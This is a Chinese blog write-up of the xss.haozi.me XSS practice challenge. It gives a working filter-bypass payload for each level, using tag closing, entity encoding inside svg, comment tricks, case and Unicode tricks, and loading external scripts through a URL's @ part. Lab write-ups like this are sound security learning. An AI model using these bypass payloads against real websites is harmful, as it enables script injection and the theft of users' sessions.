• XSS挑战赛通关


    一、前言

    最近在实习,,,每天也不是很累但是一下班就是不想开电脑不想学习
    555制定的小计划啥也没干
    突然就想练练xss,于是有了这篇博客
    靶场地址:https://xss.haozi.me

    二、通关过程

    0x00

    在这里插入图片描述
    根据它的服务器端代码可知,对输入没有任何过滤直接从<div>输出
    payload:

    <script>alert(1)</script>
    

    在这里插入图片描述

    0x01

    在这里插入图片描述
    根据代码可知,对输入没有任何过滤直接从<textarea>输出,闭合一下标签
    payload:

    </textarea><script>alert(1)</script><textarea>
    

    0x02

    在这里插入图片描述
    根据代码可知,对输入没有任何过滤直接在value参数值输出,先闭合<input>标签再构造xss语句
    payload:

    "><script>alert(1)</script>#
    

    0x03

    在这里插入图片描述
    根据代码可知,对输入过滤()后直接输出,可使用模版字符串来绕过

    • 记笔记:在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。

    payload:

    0x04

    在这里插入图片描述
    根据代码可知,过滤了()和模板字符串后直接输出,可使用<svg>来绕过。
    <svg>标签中可以直接执行html实体编码字符。
    payload:

    <svg><script>alert&#40;1&#41;</script>
    

    h5中iframe的srcdoc属性的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。
    payload:

    <iframe srcdoc="<script>alert&#40;1&#41;</script>">
    

    在这里插入图片描述

    0x05

    在这里插入图片描述
    根据代码可知,将-->替换成?后直接输出,可使用<!-- 对称注释--!>来绕过。
    payload:

    --!><script>alert(1)</script><!--
    

    0x06

    在这里插入图片描述
    根据代码可知,将autoon开头且以=>结尾的属性替换成_后直接输出,可使用onmouseover换行来绕过。
    payload:

    onmouseover
    =alert(1)
    

    0x07

    在这里插入图片描述
    根据代码可知,将<开头以>`结尾的替换成空后直接输出,可利用浏览器的容错性(结尾不加>)来绕过。
    payload:

    <svg/onload='alert(1)'
    

    0x08

    在这里插入图片描述
    根据代码可知,将</style>替换成后直接输出,目的防止我们闭合标签,可利用空格、换行、制表符来绕过。
    payload:

       </style
    ><script>alert(1)</script><style>
    

    0x09

    在这里插入图片描述
    根据代码可知,必须构造以url开头然后闭合script标签的语句来绕过。
    payload:

    https://www.segmentfault.com/"></script><script>alert(1)</script>#
    

    0x0A

    在这里插入图片描述
    根据代码可知,还是以url开头,但是过滤了一堆。

    利用url的@特性,引入外部js。

    payload:

    https://www.segmentfault.com@xss.haozi.me/j.js
    

    0x0B

    在这里插入图片描述
    根据代码可知,输入全部被转换成大写,在js中区分大小写,而在html标签中大小写无区别
    payload:

    <script src="https://xss.haozi.me/j.js"></script>
    

    0x0C

    在这里插入图片描述
    根据代码可知,script大小写均会被过滤。双写绕过即可。
    payload:

    <scriscriptpt src="https://xss.haozi.me/j.js"></scrscriptipt>
    

    0x0D

    在这里插入图片描述
    根据代码可知,<"'均会被过滤。然后输出位置在alert函数的参数中,换行即可绕过注释,再用-->注释掉后面的')
    payload:

    
    
    alert(1);
     -->
    

    0x0E
    在这里插入图片描述
    根据代码可知,输入中的<后接字母会被替换成<_$1,然后全部大写
    大写用之前的html标签调用js代码来绕过
    通关差资料发现字符ſ大写后为S(。。。牛逼)
    payload:

    <ſcript src="https://xss.haozi.me/j.js"></script>
    

    0x0F

    在这里插入图片描述
    根据代码可知,escapeHtml()函数将&、’、"、<、>和/替换成对应的实体编码。根据返回语句的结构<img src onerror="console.error('${}')">,于是可以利用img标签来弹框,先闭合error函数,再alert(1);然后//注释error函数原有的)"虽然img标签的>也被注释了,但浏览器有容错性(结尾不加>)
    payload:

    ');alert(1);//
    

    0x10

    在这里插入图片描述
    根据代码可知,输出在script标签中,闭合window.data语句然后alert(1)即可
    payload1:

    1;
    alert(1);
    

    直接alert(1)也行(按我的理解此时全局对象window.data只有一个值alert(1),window.data===alert(1))
    payload2:

    alert(1);
    

    0x11

    在这里插入图片描述
    根据代码可知,escapeJs()函数替换了一堆字符,这种情况我们就可以从利用替换后的字符构造。
    观察输出语句结构,在script标签中,好的~先闭合log()函数再alert(1),然后//注释后面的字符(函数没替换/)
    payload:

    ");alert(1)//
    

    0x12

    在这里插入图片描述
    根据代码可知,"会被替换成\",输出语句为script标签的log函数,先闭合log函数再alert(1)
    payload:

    /");alert(1);//
    

    不是很懂双引号前面为啥要加/

    三、小结

    1.多观察语句输出位置结构,根据结构构造xss语句
    2.alert语句要在可执行标签中,如<script>、<img>等,不在就闭合构造
    3.过滤()可使用模版字符串(esc键下的符号)来绕过
    4.<svg>标签中可以直接执行html实体编码字符
    5.注释方式:<!-- 对称注释 --!>
    6.属性onclick、onmouseover
    7.浏览器有容错性(结尾不加>)
    8.利用url的@特性,或script标签引入外部js
    9.在js中区分大小写,而在html标签中大小写无区别

  • 相关阅读:
    区间DP练习题题解
    【算法学习笔记】区间DP
    题解 CF1550C. Manhattan Subarrays (思维)
    【算法学习笔记】模运算总结
    题解 [HDU6747] Rotate 期望 + 逆元
    重新点亮linux 命令树————进程的控制[二十二]
    重新点亮linux 命令树————查看进程[二十一]
    docker 应用篇————日志、元数据、进程查看[五]
    docker 应用篇————docker基本命令[四]
    docker 应用篇————docker原理[三]
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063438.html
Copyright © 2020-2023  润新知